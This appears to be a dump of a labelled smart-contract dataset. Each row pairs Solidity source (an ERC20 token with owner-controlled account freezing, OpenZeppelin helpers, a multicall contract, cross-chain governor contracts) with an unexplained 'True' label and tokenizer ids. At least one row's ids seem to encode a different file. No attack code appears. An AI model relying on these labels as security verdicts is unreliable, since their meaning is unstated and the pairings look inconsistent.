* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
| True | [
101,
1013,
1008,
9385,
25682,
5950,
3597,
25918,
8082,
7000,
2104,
1996,
15895,
6105,
1010,
2544,
1016,
1012,
1014,
1006,
1996,
1000,
6105,
1000,
1007,
1025,
2017,
2089,
2025,
2224,
2023,
5371,
3272,
1999,
12646,
2007,
1996,
6105,
1012,
2017,
2089,
6855,
1037,
6100,
1997,
1996,
6105,
2012,
8299,
1024,
1013,
1013,
7479,
1012,
15895,
1012,
8917,
1013,
15943,
1013,
6105,
1011,
1016,
1012,
1014,
4983,
3223,
2011,
12711,
2375,
2030,
3530,
2000,
1999,
3015,
1010,
4007,
5500,
2104,
1996,
6105,
2003,
5500,
2006,
2019,
1000,
2004,
2003,
1000,
3978,
1010,
2302,
10943,
3111,
2030,
3785,
1997,
2151,
2785,
1010,
2593,
4671,
2030,
13339,
1012,
2156,
1996,
6105,
2005,
1996,
3563,
2653,
8677,
6656,
2015,
1998,
12546,
2104,
1996,
6105,
1012,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1020,
1012,
2184,
1025,
12324,
1063,
2918,
8447,
13876,
2121,
1065,
2013,
1000,
1012,
1012,
1013,
5622,
2497,
1013,
2918,
8447,
13876,
2121,
1012,
14017,
1000,
1025,
12324,
1063,
21307,
11022,
24805,
4590,
1065,
2013,
1000,
1012,
1012,
1013,
19706,
1013,
21307,
11022,
24805,
4590,
1012,
14017,
1000,
1025,
12324,
1063,
1045,
3995,
23062,
6651,
5302,
8566,
2571,
1065,
2013,
1000,
1012,
1012,
1013,
19706,
1013,
1045,
3995,
23062,
6651,
5302,
8566,
2571,
1012,
14017,
1000,
1025,
12324,
1063,
2003,
20082,
7520,
1065,
2013,
1000,
1012,
1012,
1013,
19706,
1013,
2003,
20082,
7520,
1012,
14017,
1000,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
10615,
8447,
13876,
2121,
1008,
1030,
3166,
2275,
8778,
1008,
1008,
6047,
3206,
15581,
2121,
2008,
4490,
2004,
1037,
3208,
8278,
2005,
21935,
2007,
1996,
2275,
8778,
1008,
10615,
5302,
8566,
2571,
2000,
4685,
18804,
1011,
10615,
4506,
1012,
2035,
10615,
4972,
2024,
2655,
3085,
2069,
1008,
2011,
1037,
16745,
1997,
3039,
20587,
2015,
1012,
1996,
6872,
2038,
1996,
2373,
2000,
5587,
1013,
6366,
20587,
2015,
2013,
1996,
3039,
1008,
20587,
2015,
12375,
1012,
1008,
1013,
3206,
10615,
8447,
13876,
2121,
2003,
2918,
8447,
13876,
2121,
1063,
1013,
1008,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
2110,
10857,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1008,
1013,
2003,
20082,
7520,
2270,
2275,
18715,
2368,
1025,
1045,
3995,
23062,
6651,
5302,
8566,
2571,
2270,
10615,
5302,
8566,
2571,
1025,
1013,
1008,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
9570,
2953,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1008,
1013,
9570,
2953,
1006,
21307,
11022,
24805,
4590,
1035,
3208,
1010,
1045,
3995,
23062,
6651,
5302,
8566,
2571,
1035,
10615,
5302,
8566,
2571,
1007,
2270,
2918,
8447,
13876,
2121,
1006,
1035,
3208,
1007,
1063,
10615,
5302,
8566,
2571,
1027,
1035,
10615,
5302,
8566,
2571,
1025,
2275,
18715,
2368,
1027,
3208,
1012,
2275,
18715,
2368,
1006,
1007,
1025,
1065,
1013,
1008,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
6327,
4972,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1008,
1013,
1013,
1008,
1008,
1008,
2069,
4844,
20587,
1024,
12040,
2015,
1037,
11849,
2655,
2000,
1996,
10615,
5302,
8566,
2571,
1012,
4844,
20587,
12375,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20 is IERC20,Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
//Freeze parameter
mapping (address => bool) private _frozenAccount;
// This notifies about accounts locked
event FrozenFunds(address target, bool frozen);
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Gets the freeze state of the specified address.
* @param _address The address to query the freeze state of.
* @return An bool representing the state of freeze.
*/
function isAccountFreezed(address _address) public view returns (bool) {
return _frozenAccount[_address];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(!_frozenAccount[msg.sender]); //sender should not be frozen Account
require(!_frozenAccount[to]); //receiver should not be frozen Account
require(to != address(0));
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(!_frozenAccount[from]); //sender should not be frozen Account
require(!_frozenAccount[to]); //receiver should not be frozen Account
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param amount The amount that will be created.
*/
function _mint(address account, uint256 amount) internal {
require(account != 0);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param amount The amount that will be burnt.
*/
function _burn(address account, uint256 amount) internal {
require(account != 0);
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Freezes the account from transferring tokens from own address to another
* @param target The account which will be freezed.
* @param freeze The decision to freeze.
*/
function _freezeAccount(address target, bool freeze) internal {
_frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
}
contract BitsrentToken is ERC20{
string public constant name = "Bitsrent";
string public constant symbol = "BTR";
uint8 public constant decimals = 18;
//supply is 20 Billion
uint256 public constant INITIAL_SUPPLY=20000000000*(10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
* minted only during contract initialization
*/
constructor() public {
_mint(msg.sender, INITIAL_SUPPLY);
}
/**
* @dev function that burns an amount of the token of a given
* account.
* @param amount The amount that will be burnt.
**/
function burnToken( uint256 amount) public {
_burn(msg.sender,amount);
}
/**
* @dev Freezes the account from transferring tokens from own address to another
* can be called by owner only
**/
function freeze(address freezingAddress,bool decision) onlyOwner public {
_freezeAccount(freezingAddress,decision);
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2484,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
3647,
18900,
2232,
1008,
1030,
16475,
8785,
3136,
2007,
3808,
14148,
2008,
7065,
8743,
2006,
7561,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
4800,
24759,
3111,
2048,
3616,
1010,
7065,
8743,
2015,
2006,
2058,
12314,
1012,
1008,
1013,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
1013,
1013,
3806,
20600,
1024,
2023,
2003,
16269,
2084,
9034,
1005,
1037,
1005,
2025,
2108,
5717,
1010,
2021,
1996,
1013,
1013,
5770,
2003,
2439,
2065,
1005,
1038,
1005,
2003,
2036,
7718,
1012,
1013,
1013,
2156,
1024,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
2330,
4371,
27877,
2378,
1013,
2330,
4371,
27877,
2378,
1011,
5024,
3012,
1013,
4139,
1013,
4720,
2475,
2065,
1006,
1037,
1027,
1027,
1014,
1007,
1063,
2709,
1014,
1025,
1065,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
5478,
1006,
1039,
1013,
1037,
1027,
1027,
1038,
1007,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
16109,
2407,
1997,
2048,
3616,
19817,
4609,
18252,
1996,
22035,
9515,
3372,
1010,
7065,
8743,
2015,
2006,
2407,
2011,
5717,
1012,
1008,
1013,
3853,
4487,
2615,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1028,
1014,
1007,
1025,
1013,
1013,
5024,
3012,
2069,
8073,
19514,
2043,
16023,
2011,
1014,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1013,
1038,
1025,
1013,
1013,
20865,
1006,
1037,
1027,
1027,
1038,
1008,
1039,
1009,
1037,
1003,
1038,
1007,
1025,
1013,
1013,
2045,
2003,
2053,
2553,
1999,
2029,
2023,
2987,
1005,
1056,
2907,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
4942,
6494,
16649,
2048,
3616,
1010,
7065,
8743,
2015,
2006,
2058,
12314,
1006,
1045,
1012,
1041,
1012,
2065,
4942,
6494,
22342,
2003,
3618,
2084,
8117,
24997,
2094,
1007,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1007,
1025,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1011,
1038,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
9909,
2048,
3616,
1010,
7065,
8743,
2015,
2006,
2058,
12314,
1012,
1008,
1013,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1007,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
20487,
2048,
3616,
1998,
5651,
1996,
6893,
1006,
27121,
16109,
16913,
18845,
1007,
1010,
1008,
7065,
8743,
2015,
2043,
16023,
2011,
5717,
1012,
1008,
1013,
3853,
16913,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.0;
/**
* @title A contract that provides modifiers to prevent reentrancy to state-changing and view-only methods. This contract
* is inspired by https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol
* and https://github.com/balancer-labs/balancer-core/blob/master/contracts/BPool.sol.
*/
contract Lockable {
bool private _notEntered;
constructor() {
// Storing an initial non-zero value makes deployment a bit more expensive, but in exchange the refund on every
// call to nonReentrant will be lower in amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to increase the likelihood of the full
// refund coming into effect.
_notEntered = true;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant` function is not supported. It is possible to
* prevent this from happening by making the `nonReentrant` function external, and making it call a `private`
* function that does the actual state modification.
*/
modifier nonReentrant() {
_preEntranceCheck();
_preEntranceSet();
_;
_postEntranceReset();
}
/**
* @dev Designed to prevent a view-only method from being re-entered during a call to a `nonReentrant()` state-changing method.
*/
modifier nonReentrantView() {
_preEntranceCheck();
_;
}
// Internal methods are used to avoid copying the require statement's bytecode to every `nonReentrant()` method.
// On entry into a function, `_preEntranceCheck()` should always be called to check if the function is being
// re-entered. Then, if the function modifies state, it should call `_postEntranceSet()`, perform its logic, and
// then call `_postEntranceReset()`.
// View-only methods can simply call `_preEntranceCheck()` to make sure that it is not being re-entered.
function _preEntranceCheck() internal view {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
}
function _preEntranceSet() internal {
// Any calls to nonReentrant after this point will fail
_notEntered = false;
}
function _postEntranceReset() internal {
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
}
// This contract is taken from Uniswaps's multi call implementation (https://github.com/Uniswap/uniswap-v3-periphery/blob/main/contracts/base/Multicall.sol)
// and was modified to be solidity 0.8 compatible. Additionally, the method was restricted to only work with msg.value
// set to 0 to avoid any nasty attack vectors on function calls that use value sent with deposits.
pragma solidity ^0.8.0;
/// @title MultiCaller
/// @notice Enables calling multiple methods in a single call to the contract
contract MultiCaller {
function multicall(bytes[] calldata data) external payable returns (bytes[] memory results) {
require(msg.value == 0, "Only multicall with 0 value");
results = new bytes[](data.length);
for (uint256 i = 0; i < data.length; i++) {
(bool success, bytes memory result) = address(this).delegatecall(data[i]);
if (!success) {
// Next 5 lines from https://ethereum.stackexchange.com/a/83577
if (result.length < 68) revert();
assembly {
result := add(result, 0x04)
}
revert(abi.decode(result, (string)));
}
results[i] = result;
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.0;
import "../common/implementation/Lockable.sol";
import "../common/implementation/MultiCaller.sol";
import "./interfaces/ParentMessengerInterface.sol";
import "./GovernorSpoke.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/**
* @title Cross-chain Oracle L1 Governor Hub.
* @notice Governance relayer contract to be deployed on Ethereum that receives messages from the owner (Governor) and
* sends them to spoke contracts on child chains.
*/
contract GovernorHub is Ownable, Lockable, MultiCaller {
// Associates chain ID with ParentMessenger contract to use to send governance actions to that chain's GovernorSpoke
// contract.
mapping(uint256 => ParentMessengerInterface) public messengers;
event RelayedGovernanceRequest(
uint256 indexed chainId,
address indexed messenger,
GovernorSpoke.Call[] calls,
bytes dataSentToChild
);
event SetParentMessenger(uint256 indexed chainId, address indexed parentMessenger);
/**
* @notice Set new ParentMessenger contract for chainId.
* @param chainId child network that messenger contract will communicate with.
* @param messenger ParentMessenger contract that sends messages to ChildMessenger on network with ID `chainId`.
* @dev Only callable by the owner (presumably the Ethereum Governor contract).
*/
function setMessenger(uint256 chainId, ParentMessengerInterface messenger) public nonReentrant() onlyOwner {
messengers[chainId] = messenger;
emit SetParentMessenger(chainId, address(messenger));
}
/**
* @notice This should be called in order to relay a governance request to the `GovernorSpoke` contract deployed to
* the child chain associated with `chainId`.
* @param chainId network that messenger contract will communicate with
* @param calls the calls to be made by the GovernorSpoke. Should encode a `to` and `data` prop for each call.
* @dev Only callable by the owner (presumably the UMA DVM Governor contract, on L1 Ethereum).
*/
function relayGovernance(uint256 chainId, GovernorSpoke.Call[] memory calls) external nonReentrant() onlyOwner {
bytes memory dataSentToChild = abi.encode(calls);
messengers[chainId].sendMessageToChild(dataSentToChild);
emit RelayedGovernanceRequest(chainId, address(messengers[chainId]), calls, dataSentToChild);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.0;
import "./interfaces/ChildMessengerConsumerInterface.sol";
import "../common/implementation/Lockable.sol";
import "./SpokeBase.sol";
/**
* @title Cross-chain Oracle L2 Governor Spoke.
* @notice Governor contract deployed on L2 that receives governance actions from Ethereum.
*/
contract GovernorSpoke is Lockable, SpokeBase, ChildMessengerConsumerInterface {
struct Call {
address to;
bytes data;
}
constructor(address _finderAddress) SpokeBase(_finderAddress) {}
event ExecutedGovernanceTransaction(address indexed to, bytes data);
/**
* @notice Executes governance transaction created on Ethereum.
* @dev Can only be called by ChildMessenger contract that wants to execute governance action on this child chain
* that originated from DVM voters on root chain. ChildMessenger should only receive communication from
* ParentMessenger on mainnet. See the SpokeBase for the onlyMessenger modifier.
* @param data Contains the target address and the encoded function selector + ABI encoded params to include in
* delegated transaction.
*/
function processMessageFromParent(bytes memory data) public override nonReentrant() onlyMessenger() {
Call[] memory calls = abi.decode(data, (Call[]));
for (uint256 i = 0; i < calls.length; i++) {
